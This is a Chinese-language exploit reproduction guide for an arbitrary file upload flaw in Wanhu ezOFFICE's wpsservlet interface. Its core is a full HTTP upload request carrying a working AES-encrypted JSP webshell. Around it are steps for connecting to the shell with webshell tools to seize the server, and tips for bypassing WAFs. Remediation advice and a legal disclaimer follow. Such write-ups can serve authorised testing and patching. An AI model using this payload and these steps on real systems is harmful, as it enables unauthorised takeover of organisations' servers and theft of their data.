漏洞复现--万户ezoffice wpsservlet任意文件上传
字数 1035 2025-08-10 08:28:15
万户ezoffice wpsservlet任意文件上传漏洞复现与分析
漏洞概述
万户ezoffice办公系统中的wpsservlet接口存在任意文件上传漏洞,攻击者可以利用该漏洞上传恶意文件到服务器,可能导致服务器被完全控制。
受影响版本
根据漏洞披露信息,该漏洞影响万户ezoffice多个版本,具体版本号需进一步确认。
漏洞原理
wpsservlet接口在处理文件上传请求时,未对上传文件的类型、内容进行充分验证,导致攻击者可以上传任意文件(如JSP木马文件)到服务器可访问的目录中。
环境搭建
- 下载并安装存在漏洞的万户ezoffice版本
- 确保服务正常运行(通常访问
http://[ip]:[port]/) - 准备攻击机(安装Burp Suite或其他HTTP请求工具)
漏洞复现步骤
1. 识别目标
确认目标系统运行万户ezoffice,并存在/defaultroot/wpsservlet接口。
2. 构造恶意请求
使用以下方法构造恶意上传请求:
方法一:直接上传JSP木马
POST /defaultroot/wpsservlet HTTP/1.1
Host: target_ip:port
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxxxx
Content-Length: [length]
------WebKitFormBoundaryxxxxxx
Content-Disposition: form-data; name="upload"; filename="shell.jsp"
Content-Type: application/octet-stream
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
------WebKitFormBoundaryxxxxxx--
方法二:使用工具自动化
可以使用Burp Suite等工具构造并发送上述请求。
3. 确认上传成功
如果上传成功,通常会返回文件路径,如:
/defaultroot/[随机目录]/shell.jsp
4. 访问上传的恶意文件
通过浏览器或工具访问上传的JSP文件:
http://target_ip:port/defaultroot/[随机目录]/shell.jsp
5. 获取WebShell
使用中国菜刀、冰蝎等WebShell管理工具连接上传的JSP木马,获取服务器控制权限。
漏洞利用技巧
- 绕过防护:如果系统有WAF,可以尝试修改Content-Type、文件名后缀等方式绕过
- 路径探测:尝试不同路径上传,寻找可执行目录
- 小文件优先:先上传小文件测试,确认漏洞存在后再上传完整WebShell
修复建议
- 升级到官方最新版本
- 临时修复措施:
- 禁用
wpsservlet接口 - 在Web应用防火墙中过滤相关恶意请求
- 限制上传文件类型,仅允许必要的文件格式
- 禁用
- 对上传文件进行严格校验:
- 检查文件头
- 限制文件扩展名
- 存储上传文件到不可执行目录
- 重命名上传文件
漏洞验证
使用以下方法验证漏洞是否修复:
- 尝试上传无害的文本文件,检查是否成功
- 尝试上传JSP文件,检查是否被拦截
- 检查服务器上是否出现未授权的可执行文件
法律与道德声明
- 此漏洞复现仅限授权测试使用
- 未经授权对他人系统进行测试是违法行为
- 发现漏洞应及时通知厂商修复,而非公开利用
参考链接
请在实际测试中遵守法律法规,仅对授权系统进行安全测试。